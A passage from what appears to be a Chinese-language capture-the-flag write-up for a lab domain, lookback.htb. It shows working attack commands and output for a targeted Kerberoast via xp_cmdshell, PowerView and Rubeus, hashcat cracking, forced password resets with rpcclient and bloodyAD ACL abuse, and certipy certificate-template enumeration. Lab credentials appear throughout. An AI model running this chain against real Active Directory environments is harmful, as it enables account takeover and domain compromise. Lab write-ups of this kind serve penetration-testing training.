└─# nxc mssql 172.16.55.128 -d lookback.htb -u lookback-admin -p &amp;#39;iPmmhn8bguFcWin9&amp;#39; --get-file &amp;#39;C:\Users\db-admin\Desktop\bh_out\20260410_lookback.zip&amp;#39; &amp;#39;/home/kali/Desktop/hmv/lookback/loot/20260410_lookback.zip&amp;#39;
MSSQL       172.16.55.128   1433   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (EncryptionReq:False)
MSSQL       172.16.55.128   1433   DC01             [+] lookback.htb\lookback-admin:iPmmhn8bguFcWin9 (Pwn3d!)                                                                                                   
MSSQL       172.16.55.128   1433   DC01             [*] Copying &amp;quot;C:\Users\db-admin\Desktop\bh_out\20260410_lookback.zip&amp;quot; to &amp;quot;/home/kali/Desktop/hmv/lookback/loot/20260410_lookback.zip&amp;quot;
MSSQL       172.16.55.128   1433   DC01             [+] File &amp;quot;C:\Users\db-admin\Desktop\bh_out\20260410_lookback.zip&amp;quot; was downloaded to &amp;quot;/home/kali/Desktop/hmv/lookback/loot/20260410_lookback.zip&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Bloodhound&lt;/h1&gt;
&lt;h2&gt;&lt;a href=&quot;mailto:DB-ADMIN@LOOKBACK.HTB&quot;&gt;DB-ADMIN@LOOKBACK.HTB&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/lookback-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;mailto:IT-SEC-ADMIN@LOOKBACK.HTB&quot;&gt;IT-SEC-ADMIN@LOOKBACK.HTB&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/lookback-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;mailto:IT-ADMIN@LOOKBACK.HTB&quot;&gt;IT-ADMIN@LOOKBACK.HTB&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/lookback-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;mailto:IT-LOGIN-USER@LOOKBACK.HTB&quot;&gt;IT-LOGIN-USER@LOOKBACK.HTB&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/lookback-6.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;攻击链&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;清晰得不能再清晰了&lt;code&gt;db-admin -&amp;gt; IT-SEC-admin -&amp;gt; IT-admin -&amp;gt; IT-login-user&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/lookback-7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;ACL 链式攻击&lt;/h1&gt;
&lt;h2&gt;DB-ADMIN -&amp;gt; IT-SEC-ADMIN（定向 Kerberoast）&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;思路：给 &lt;code&gt;IT-SEC-admin&lt;/code&gt; 临时加可烤 SPN，取票后离线爆破。&lt;br&gt;得到：&lt;code&gt;IT-SEC-admin : &amp;lt;REDACTED_ITSEC_ADMIN_PASSWORD&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;PowerView&lt;/h3&gt;
&lt;h4&gt;upload&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# nxc mssql 172.16.55.128 -d lookback.htb -u lookback-admin -p &amp;#39;iPmmhn8bguFcWin9&amp;#39; --put-file &amp;#39;/home/kali/Desktop/tools/PowerSploit/PowerView.ps1&amp;#39; &amp;#39;C:\Users\db-admin\Desktop\PowerView.ps1&amp;#39;
MSSQL       172.16.55.128   1433   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (EncryptionReq:False)
MSSQL       172.16.55.128   1433   DC01             [+] lookback.htb\lookback-admin:iPmmhn8bguFcWin9 (Pwn3d!)                                                                                                   
MSSQL       172.16.55.128   1433   DC01             [*] Copy /home/kali/Desktop/tools/PowerSploit/PowerView.ps1 to C:\Users\db-admin\Desktop\PowerView.ps1
MSSQL       172.16.55.128   1433   DC01             [*] Size is 770271 bytes
MSSQL       172.16.55.128   1433   DC01             [+] File has been uploaded on the remote machine
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;添加 SPN&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SQL (lookback\lookback-admin  dbo@master)&amp;gt; EXEC xp_cmdshell &amp;#39;powershell -NoP -Ep Bypass -Command &amp;quot;&amp;amp; { . C:\Users\db-admin\Desktop\PowerView.ps1; Get-DomainUser -Identity IT-SEC-admin | fl samaccountname,serviceprincipalname; Set-DomainObject -Identity IT-SEC-admin -Set @{servicePrincipalName=&amp;#39;&amp;#39;http/itsec-admin&amp;#39;&amp;#39;}; Get-DomainUser -Identity IT-SEC-admin | fl samaccountname,serviceprincipalname }&amp;quot;&amp;#39;
output                                    
---------------------------------------   
NULL                                      
NULL                                      
samaccountname : IT-SEC-admin             
NULL                                      
NULL                                      
NULL                                      
NULL                                      
NULL                                      
samaccountname       : IT-SEC-admin       
serviceprincipalname : http/itsec-admin   
NULL                                      
NULL                                      
NULL                                      
NULL        
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Rubeus&lt;/h3&gt;
&lt;h4&gt;upload&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nxc mssql 172.16.55.128 -d lookback.htb -u lookback-admin -p &amp;#39;iPmmhn8bguFcWin9&amp;#39; --put-file &amp;#39;/home/kali/Desktop/tools/Rubeus/2.2.0/Rubeus2.2.exe&amp;#39; &amp;#39;C:\Users\db-admin\Desktop\Rubeus.exe&amp;#39;
MSSQL       172.16.55.128   1433   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (EncryptionReq:False)
MSSQL       172.16.55.128   1433   DC01             [+] lookback.htb\lookback-admin:iPmmhn8bguFcWin9 (Pwn3d!)                                                                                                   
MSSQL       172.16.55.128   1433   DC01             [*] Copy /home/kali/Desktop/tools/Rubeus/2.2.0/Rubeus2.2.exe to C:\Users\db-admin\Desktop\Rubeus.exe
MSSQL       172.16.55.128   1433   DC01             [*] Size is 446976 bytes
MSSQL       172.16.55.128   1433   DC01             [+] File has been uploaded on the remote machine
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;run&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SQL (lookback\lookback-admin  dbo@master)&amp;gt; EXEC xp_cmdshell &amp;#39;C:\Users\db-admin\Desktop\Rubeus.exe kerberoast /user:IT-SEC-admin /simple /nowrap /outfile:C:\Users\db-admin\Desktop\bh_out\itsec_tgs.hash&amp;#39;;
output                                                                                                                                                                                                       
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
NULL                                                                                                                                                                                                         
   ______        _                                                                                                                                                                                           
  (_____ \      | |                                                                                                                                                                                          
   _____) )_   _| |__  _____ _   _  ___                                                                                                                                                                      
  |  __  /| | | |  _ \| ___ | | | |/___)                                                                                                                                                                     
  | |  \ \| |_| | |_) ) ____| |_| |___ |                                                                                                                                                                     
  |_|   |_|____/|____/|_____)____/(___/                                                                                                                                                                      
NULL                                                                                                                                                                                                         
  v2.2.0                                                                                                                                                                                                     
NULL                                                                                                                                                                                                         
NULL                                                                                                                                                                                                         
[*] Action: Kerberoasting                                                                                                                                                                                    
NULL                                                                                                                                                                                                         
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.                                                                                                                                            
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.                                                                                                                                 
NULL                                                                                                                                                                                                         
[*] Target User            : IT-SEC-admin                                                                                                                                                                    
[*] Target Domain          : lookback.htb                                                                                                                                                                    
[*] Searching path &amp;#39;LDAP://dc01.lookback.htb/DC=lookback,DC=htb&amp;#39; for &amp;#39;(&amp;amp;(samAccountType=805306368)(servicePrincipalName=*)(samAccountName=IT-SEC-admin)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))&amp;#39;   
NULL                                                                                                                                                                                                         
[*] Total kerberoastable users : 1                                                                                                                                                                           
NULL                                                                                                                                                                                                         
[*] Hash written to C:\Users\db-admin\Desktop\bh_out\itsec_tgs.hash                                                                                                                                          
NULL                                                                                                                                                                                                         
[*] Roasted hashes written to : C:\Users\db-admin\Desktop\bh_out\itsec_tgs.hash                                                                                                                              
NULL     
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Gethash&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SQL (lookback\lookback-admin  dbo@master)&amp;gt; EXEC xp_cmdshell &amp;#39;type C:\Users\db-admin\Desktop\bh_out\itsec_tgs.hash&amp;#39;;
output                                                                                                                                                                                                                                                            
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
$krb5tgs$23$*IT-SEC-admin$lookback.htb$http/itsec-admin@lookback.htb*$15B2938BBB018EC0B10522526A1E3CA6$AEF2D06442E183BD6D32B3705B7556EA18ABDD06DDEEB448E9A49E4E1AE21CA823BFC1E57A26B02FCE1B6C107CBEFBE96BF5E6175DFF88A55B1C9075A0ACAF058589FF0B07805FF68849D657   
96DC9FB7B3A9CCEE249068950BF5F838685AA2449D5E8E4A88A75C0A7521177108ADA00B65A6F6AACA6E59972D4F9F3582A5C606D5DDA154E232E0563971C97F37071995147BDE8BBBF29D295FB8549F13961C7A781AD02C8D20D9996954336F82D5DA0C4E42097191D8D71A6617C7ED4933B2E0FF7F3006B97FD2E3399577A   
61B11A2398026511604DB6B818C494ABEFC5C734B79D8BBBE7EC917137D3060A423E3714533EFABD76401977CB66D19C2DD435B4218B4DE2DF76925C4EDD2D94E6FF886ABCCCAC5234ECFF7D51D622DCDA5CA2EDECE98AA7D8DA59FD7F8296E5B619A9BF9D4183CFC5708280FB8CCF21B8A9F4B0D552BB6A3C78A0859060A35   
C34E17C21AD37DD10D2898D78EDEF8E8D48423B79BD915012E77F8A74EC2C61D75CD44BB7F903B47343730F34BEAEE6CAC2758BE44A13B026A48571BBA8C0AB4A7087466C8F611C08608D2294EEBC57C9B0C5661470AEEA820E1616D551F96BAA6D32E9A5631B5C9C5FCE8C0A38C47D2C072DFB0F6A3A418F0675B7F66F6221   
EC2A53C92179FAB9D3E49B096AEC18461E0CBB92730034E4C835B192D3BD3855C4683EAE38F990A2C5C1834F158BDE4AF684D6E66D8C9EC1ACD9CFDB4130053D3DEC7473554B7568F94663104C67161E1B1A7BBC5221D5A44D8F63E612477EB8D610DD53773BAC09DE0F47F46588AE2BE7C052A6070FF74743DE1B3B9CAB7FF   
6550771D358E6586E6E5F098A7E2ED38CF17DD13AF77224BE4D195E0D084043386854C64837AC941D837BD884692ACC2F55E2723957944913C88628193AE567D34BA79A8142329B39FF0E8786217293D9C40385D17104698C866FE7F69EC076E99E60612704FFC5B9B076B09D46C92F3DA9F8A37C1CB3E6EB9CC6B1FC9E7D4B   
7C3BD56996FED0E8424E78A8D749EE56D44EFD0BB893B9203D107F5FD8427BF71218D713BD4F4FC11102131CD79A3A1CC94150B7F36C6F224F360C8A81DC072FB094B43B6237C84D78549A85E91DFB39DFB4CB9938EC62BECBC16D5A8885E8857703AF25054737DB87738E6A78A384A4F18640D52F3250489FD0F6EBFCD39DC   
BA85ED1CA86FB97254C05EBDA575F790F6502A2C07CC52BDC49B1C5118513D06B453460BEA7606A32F1BD602C714451E837DC6B829A8FD586072634B84158FA136B0B0E75CBD040BB686D56BECEEA9F25C19FB2B5DAB9F514D91805CCE95A191E6B6601D7FC91FB6D56D386B53890E0A1FE2C592ED4D0A755B19196F944C551   
F3B08D08635F5256B7B442D18D21D26EB7E0314104750F51CCBBF5BA235879D3BD6A5990C540E91FD65011892804709D7F8FF7071F40E6D9E11A9649499CAE1EA753FFA28FC87038BBEE09DF813EAA24D7BEFD258FF383620C8A693A6666F1091E01FBCB534C74782D5AAECAEC5A6090B4921527ECAA99FFEB316F0956B33A1   
0D489CB09385391B1430CAB31A63952C5CFA7B86920F6B                                                                                                                                                                                                                    
NULL  
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hashcat&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;得到凭据itsec-admin/butterfly&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo &amp;#39;$krb5tgs$23$*IT-SEC-admin$lookback.htb$http/itsec-admin@lookback.htb*$15B2938BBB018EC0B10522526A1E3CA6$AEF2D06442E183BD6D32B3705B7556EA18ABDD06DDEEB448E9A49E4E1AE21CA823BFC1E57A26B02FCE1B6C107CBEFBE96BF5E6175DFF88A55B1C9075A0ACAF058589FF0B07805FF68849D65796DC9FB7B3A9CCEE249068950BF5F838685AA2449D5E8E4A88A75C0A7521177108ADA00B65A6F6AACA6E59972D4F9F3582A5C606D5DDA154E232E0563971C97F37071995147BDE8BBBF29D295FB8549F13961C7A781AD02C8D20D9996954336F82D5DA0C4E42097191D8D71A6617C7ED4933B2E0FF7F3006B97FD2E3399577A61B11A2398026511604DB6B818C494ABEFC5C734B79D8BBBE7EC917137D3060A423E3714533EFABD76401977CB66D19C2DD435B4218B4DE2DF76925C4EDD2D94E6FF886ABCCCAC5234ECFF7D51D622DCDA5CA2EDECE98AA7D8DA59FD7F8296E5B619A9BF9D4183CFC5708280FB8CCF21B8A9F4B0D552BB6A3C78A0859060A35C34E17C21AD37DD10D2898D78EDEF8E8D48423B79BD915012E77F8A74EC2C61D75CD44BB7F903B47343730F34BEAEE6CAC2758BE44A13B026A48571BBA8C0AB4A7087466C8F611C08608D2294EEBC57C9B0C5661470AEEA820E1616D551F96BAA6D32E9A5631B5C9C5FCE8C0A38C47D2C072DFB0F6A3A418F0675B7F66F6221EC2A53C92179FAB9D3E49B096AEC18461E0CBB92730034E4C835B192D3BD3855C4683EAE38F990A2C5C1834F158BDE4AF684D6E66D8C9EC1ACD9CFDB4130053D3DEC7473554B7568F94663104C67161E1B1A7BBC5221D5A44D8F63E612477EB8D610DD53773BAC09DE0F47F46588AE2BE7C052A6070FF74743DE1B3B9CAB7FF6550771D358E6586E6E5F098A7E2ED38CF17DD13AF77224BE4D195E0D084043386854C64837AC941D837BD884692ACC2F55E2723957944913C88628193AE567D34BA79A8142329B39FF0E8786217293D9C40385D17104698C866FE7F69EC076E99E60612704FFC5B9B076B09D46C92F3DA9F8A37C1CB3E6EB9CC6B1FC9E7D4B7C3BD56996FED0E8424E78A8D749EE56D44EFD0BB893B9203D107F5FD8427BF71218D713BD4F4FC11102131CD79A3A1CC94150B7F36C6F224F360C8A81DC072FB094B43B6237C84D78549A85E91DFB39DFB4CB9938EC62BECBC16D5A8885E8857703AF25054737DB87738E6A78A384A4F18640D52F3250489FD0F6EBFCD39DCBA85ED1CA86FB97254C05EBDA575F790F6502A2C07CC52BDC49B1C5118513D06B453460BEA7606A32F1BD602C714451E837DC6B829A8FD586072634B84158FA136B0B0E75CBD040BB686D56BECEEA9F25C19FB2B5DAB9F514D91805CCE95A191E6B6601D7FC91FB6D56D386B53890E0A1FE2C592ED4D0A755B19196F944C551F3B08D08635F5256B7B442D18D21D26EB7E0314104750F51CCBBF5BA235879D3BD6A5990C540E91FD65011892804709D7F8FF7071F40E6D9E11A9649499CAE1EA753FFA28FC87038BBEE09DF813EAA24D7BEFD258FF383620C8A693A6666F1091E01FBCB534C74782D5AAECAEC5A6090B4921527ECAA99FFEB316F0956B33A10D489CB09385391B1430CAB31A63952C5CFA7B86920F6B&amp;#39; &amp;gt; itsec.hash
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# hashcat -m 13100 itsec.hash /usr/share/wordlists/rockyou.txt --force
hashcat (v7.1.2) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

Host memory allocated for this attack: 513 MB (2151 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*IT-SEC-admin$lookback.htb$http/itsec-admin@lookback.htb*$15b2938bbb018ec0b10522526a1e3ca6$aef2d06442e183bd6d32b3705b7556ea18abdd06ddeeb448e9a49e4e1ae21ca823bfc1e57a26b02fce1b6c107cbefbe96bf5e6175dff88a55b1c9075a0acaf058589ff0b07805ff68849d65796dc9fb7b3a9ccee249068950bf5f838685aa2449d5e8e4a88a75c0a7521177108ada00b65a6f6aaca6e59972d4f9f3582a5c606d5dda154e232e0563971c97f37071995147bde8bbbf29d295fb8549f13961c7a781ad02c8d20d9996954336f82d5da0c4e42097191d8d71a6617c7ed4933b2e0ff7f3006b97fd2e3399577a61b11a2398026511604db6b818c494abefc5c734b79d8bbbe7ec917137d3060a423e3714533efabd76401977cb66d19c2dd435b4218b4de2df76925c4edd2d94e6ff886abcccac5234ecff7d51d622dcda5ca2edece98aa7d8da59fd7f8296e5b619a9bf9d4183cfc5708280fb8ccf21b8a9f4b0d552bb6a3c78a0859060a35c34e17c21ad37dd10d2898d78edef8e8d48423b79bd915012e77f8a74ec2c61d75cd44bb7f903b47343730f34beaee6cac2758be44a13b026a48571bba8c0ab4a7087466c8f611c08608d2294eebc57c9b0c5661470aeea820e1616d551f96baa6d32e9a5631b5c9c5fce8c0a38c47d2c072dfb0f6a3a418f0675b7f66f6221ec2a53c92179fab9d3e49b096aec18461e0cbb92730034e4c835b192d3bd3855c4683eae38f990a2c5c1834f158bde4af684d6e66d8c9ec1acd9cfdb4130053d3dec7473554b7568f94663104c67161e1b1a7bbc5221d5a44d8f63e612477eb8d610dd53773bac09de0f47f46588ae2be7c052a6070ff74743de1b3b9cab7ff6550771d358e6586e6e5f098a7e2ed38cf17dd13af77224be4d195e0d084043386854c64837ac941d837bd884692acc2f55e2723957944913c88628193ae567d34ba79a8142329b39ff0e8786217293d9c40385d17104698c866fe7f69ec076e99e60612704ffc5b9b076b09d46c92f3da9f8a37c1cb3e6eb9cc6b1fc9e7d4b7c3bd56996fed0e8424e78a8d749ee56d44efd0bb893b9203d107f5fd8427bf71218d713bd4f4fc11102131cd79a3a1cc94150b7f36c6f224f360c8a81dc072fb094b43b6237c84d78549a85e91dfb39dfb4cb9938ec62becbc16d5a8885e8857703af25054737db87738e6a78a384a4f18640d52f3250489fd0f6ebfcd39dcba85ed1ca86fb97254c05ebda575f790f6502a2c07cc52bdc49b1c5118513d06b453460bea7606a32f1bd602c714451e837dc6b829a8fd586072634b84158fa136b0b0e75cbd040bb686d56beceea9f25c19fb2b5dab9f514d91805cce95a191e6b6601d7fc91fb6d56d386b53890e0a1fe2c592ed4d0a755b19196f944c551f3b08d08635f5256b7b442d18d21d26eb7e0314104750f51ccbbf5ba235879d3bd6a5990c540e91fd65011892804709d7f8ff7071f40e6d9e11a9649499cae1ea753ffa28fc87038bbee09df813eaa24d7befd258ff383620c8a693a6666f1091e01fbcb534c74782d5aaecaec5a6090b4921527ecaa99ffeb316f0956b33a10d489cb09385391b1430cab31a63952c5cfa7b86920f6b:butterfly
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*IT-SEC-admin$lookback.htb$http/itsec-a...920f6b
Time.Started.....: Sat Apr 11 13:17:13 2026, (0 secs)
Time.Estimated...: Sat Apr 11 13:17:13 2026, (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   698.1 kH/s (2.22ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4096/14344385 (0.03%)
Rejected.........: 0/4096 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -&amp;gt; oooooo
Hardware.Mon.#01.: Util: 28%
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;IT-SEC-admin -&amp;gt; IT-admin（改密）&lt;/h2&gt;
&lt;h3&gt;rpcclinet&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# rpcclient -U &amp;#39;lookback.htb/IT-SEC-admin%butterfly&amp;#39; 172.16.55.128 -c &amp;quot;setuserinfo2 IT-admin 23 &amp;#39;V9bT6itAdmin2026&amp;#39;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;netexec&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nxc smb 172.16.55.128 -d lookback.htb -u IT-admin -p &amp;#39;V9bT6itAdmin2026&amp;#39; 

SMB         172.16.55.128   445    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.55.128   445    DC01             [+] lookback.htb\IT-admin:V9bT6itAdmin2026
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;IT-admin -&amp;gt; IT-login-user（接管对象）&lt;/h2&gt;
&lt;h3&gt;步骤 1：将 &lt;code&gt;IT-login-user&lt;/code&gt; 的所有者设置为 &lt;code&gt;IT-admin&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q bloodyAD --host 172.16.55.128 -d lookback.htb -u IT-admin -p &amp;#39;V9bT6itAdmin2026&amp;#39; set owner IT-login-user IT-admin
[+] Old owner S-1-5-21-3830242231-3868280746-2763890440-512 is now replaced by IT-admin on IT-login-user
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：使 &lt;code&gt;IT-admin&lt;/code&gt; 成为 &lt;code&gt;IT-login-user&lt;/code&gt; 对象的&lt;strong&gt;所有者&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限要求&lt;/strong&gt;：&lt;code&gt;IT-admin&lt;/code&gt; 需要对目标对象有 &lt;code&gt;WriteOwner&lt;/code&gt; 权限（或更高）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击意义&lt;/strong&gt;：所有者自动获得对对象的 &lt;code&gt;WriteDacl&lt;/code&gt; 权限，为下一步授予 &lt;code&gt;GenericAll&lt;/code&gt; 铺路。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;步骤 2：授予 &lt;code&gt;IT-admin&lt;/code&gt; 对 &lt;code&gt;IT-login-user&lt;/code&gt; 的完全控制权 (&lt;code&gt;GenericAll&lt;/code&gt;)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q bloodyAD --host 172.16.55.128 -d lookback.htb -u IT-admin -p &amp;#39;V9bT6itAdmin2026&amp;#39; add genericAll IT-login-user IT-admin
[+] IT-admin has now GenericAll on IT-login-user
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：赋予 &lt;code&gt;IT-admin&lt;/code&gt; 对 &lt;code&gt;IT-login-user&lt;/code&gt; 对象的&lt;strong&gt;完全控制&lt;/strong&gt;（包括重置密码、修改属性等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;前置条件&lt;/strong&gt;：步骤 1 成功后，&lt;code&gt;IT-admin&lt;/code&gt; 作为所有者可以修改 DACL，因此此命令应能执行成功。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;步骤 3：强制重置 &lt;code&gt;IT-login-user&lt;/code&gt; 的密码&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q bloodyAD --host 172.16.55.128 -d lookback.htb -u IT-admin -p &amp;#39;V9bT6itAdmin2026&amp;#39; set password IT-login-user &amp;#39;ITLogin!2026#Qw&amp;#39;
[+] Password changed successfully!
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;作用&lt;/strong&gt;：将 &lt;code&gt;IT-login-user&lt;/code&gt; 的密码改为 &lt;code&gt;ITLogin!2026#Qw&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限要求&lt;/strong&gt;：需要 &lt;code&gt;GenericAll&lt;/code&gt; 或 &lt;code&gt;User-Force-Change-Password&lt;/code&gt; 扩展权限。步骤 2 已授予完全控制，故可成功。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;步骤 4：验证新凭据是否有效（SMB 登录）&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nxc smb 172.16.55.128 -d lookback.htb -u IT-login-user -p &amp;#39;ITLogin!2026#Qw&amp;#39;
SMB         172.16.55.128   445    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lookback.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.55.128   445    DC01             [+] lookback.htb\IT-login-user:ITLogin!2026#Qw 
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;certipy&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;根据 &lt;code&gt;certipy find&lt;/code&gt; 的输出，我们发现了一个高价值漏洞模板：&lt;code&gt;**SubCA**&lt;/code&gt;（模板索引 17）。该模板满足 &lt;strong&gt;ESC1&lt;/strong&gt;、&lt;strong&gt;ESC2&lt;/strong&gt;、&lt;strong&gt;ESC3&lt;/strong&gt; 和 &lt;strong&gt;ESC15&lt;/strong&gt; 的条件，且已启用。最关键的是，它允许 &lt;strong&gt;Enrollee Supplies Subject&lt;/strong&gt;（请求者指定主题别名），并且支持 &lt;strong&gt;Client Authentication&lt;/strong&gt; 扩展密钥用途。这意味着我们可以通过指定 &lt;code&gt;UPN&lt;/code&gt; 为 &lt;code&gt;administrator@lookback.htb&lt;/code&gt; 来申请一张代表域管理员的证书，进而通过 Kerberos PKINIT 获取高权限票据&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# proxychains -q certipy find -u &amp;#39;Administrator @lookback.htb&amp;#39; -p &amp;#39;ITLogin!2026#Qw&amp;#39; -dc-ip 172.16.55.128 -vulnerable -stdout
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 17 issuance policies
[*] Found 0 OIDs linked to templates
[!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:172.16.55.128@53 answered The DNS operation timed out.; Server Do53:172.16.55.128@53 answered The DNS operation timed out.; Server Do53:172.16.55.128@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Retrieving CA configuration for &amp;#39;lookback-DC01-CA&amp;#39; via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for &amp;#39;lookback-DC01-CA&amp;#39;
[*] Checking web enrollment for CA &amp;#39;lookback-DC01-CA&amp;#39; @ &amp;#39;dc01.lookback.htb&amp;#39;
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : lookback-DC01-CA
    DNS Name                            : dc01.lookback.htb
    Certificate Subject                 : CN=lookback-DC01-CA, DC=lookback, DC=htb
    Certificate Serial Number           : 4D974861E25474B44FA1690AA7067B52
    Certificate Validity Start          : 2025-10-19 13:42:34+00:00
    Certificate Validity End            : 2030-10-19 13:52:33+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : LOOKBACK.HTB\Administrators
      Access Rights
        ManageCa                        : LOOKBACK.HTB\Administrators
                                          LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        ManageCertificates              : LOOKBACK.HTB\Administrators
                                          LOOKBACK.HTB\Domain Admins
                                          LOOKBACK.HTB\Enterprise Admins
        Enroll                          : LOOKBACK.HTB\Authenticated Users
    [+] User Enrollable Principals      : LOOKBACK.HTB\Authenticated Users
